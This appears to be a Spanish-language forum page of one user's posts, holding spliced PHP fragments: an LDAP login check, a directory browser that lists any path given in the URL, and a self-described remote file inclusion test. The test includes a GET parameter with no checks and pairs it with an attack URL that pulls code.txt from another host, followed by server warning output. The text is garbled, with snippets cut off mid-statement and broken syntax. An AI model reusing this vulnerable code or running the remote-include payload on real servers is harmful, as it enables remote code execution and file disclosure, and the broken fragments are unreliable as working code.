Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
$dominio="@midominio.local";
$user=addslashes__recursive($_POST["us"]).$dominio;
$pasw=addslashes__recursive($_POST["pas"]);
$MensajeSup=LoginLDAP($user,$pasw);
$direc=PerteneceA();
if ($direc=="" && $MensajeSup=="Acceso Permitido"){
echo "<h2><a href='http://192.168.9.117/index.php'>Volvel a la pagina de Inicio</a><h2>";
echo"Usted pertenece al dominio, pero NO tiene permiso para el acceso a Intranet";
exit;
}
if ($MensajeSup=="Acceso Permitido" && $direc<>""){
[b] header ("Location: http://192.168.9.117/acceso.php");[/b]
exit;
}
$dir = (isset($_GET['dir']))?$_GET['dir']:"/";
$directorio=opendir($dir);
echo "<b>Directorio actual:</b><br>$dir<br>";
echo "<b>Archivos:</b><br>";
while ($archivo = readdir($directorio)) {
if($archivo == '.')
echo "<a href="?dir=.">$archivo</a><br>";
elseif($archivo == '..'){
if($dir != '.'){
$carpetas = split("/",$dir);
array_pop($carpetas);
$dir2 = join("/",$carpetas);
echo "<a href="?dir=$dir2">$archivo</a><br>";
}
}
elseif(is_dir("$dir/$archivo"))
echo "<a href="?dir=$dir/$archivo">$archivo</a><br>";
else echo "$archivo<br>";
}
closedir($directorio);
elseif($archivo == '..'){ <HTML><HEAD><TITLE> Prueva de RFI </TITLE></HEAD><BODY>
<A HREF="rfi.php?cont=hola.html">Hola!</A><BR><BR>
<A HREF="rfi.php?cont=adios.html">Adios!</A>
</BODY></HTML> holaaaaadiosssss
<?php
$var = $_GET["cont"];
include($var);
?>
<?phpecho "<h1>Vulnerable a RFI</h1>";?>http://192.168.1.2/fri.php?cont=http://192.168.1.3/code.txt
Warning: include() [function.include]: URL file-access is disabled in the server configuration in C:\xampp\htdocs\pruebarfi\rfi.php on line 4
Warning: include(http://192.168.9.222/code.txt) [function.include]: failed to open stream: no suitable wrapper could be found in C:\xampp\htdocs\pruebarfi\\rfi.php on line 4
Warning: include() [function.include]: Failed opening 'http://192.168.9.222/code.txt' for inclusion (include_path='.;C:\xampp\php\pear\') in C:\xampp\htdocs\pruebarfi\rfi.php on line 4
<?php
$var = $_GET(cont");
include($var);
?>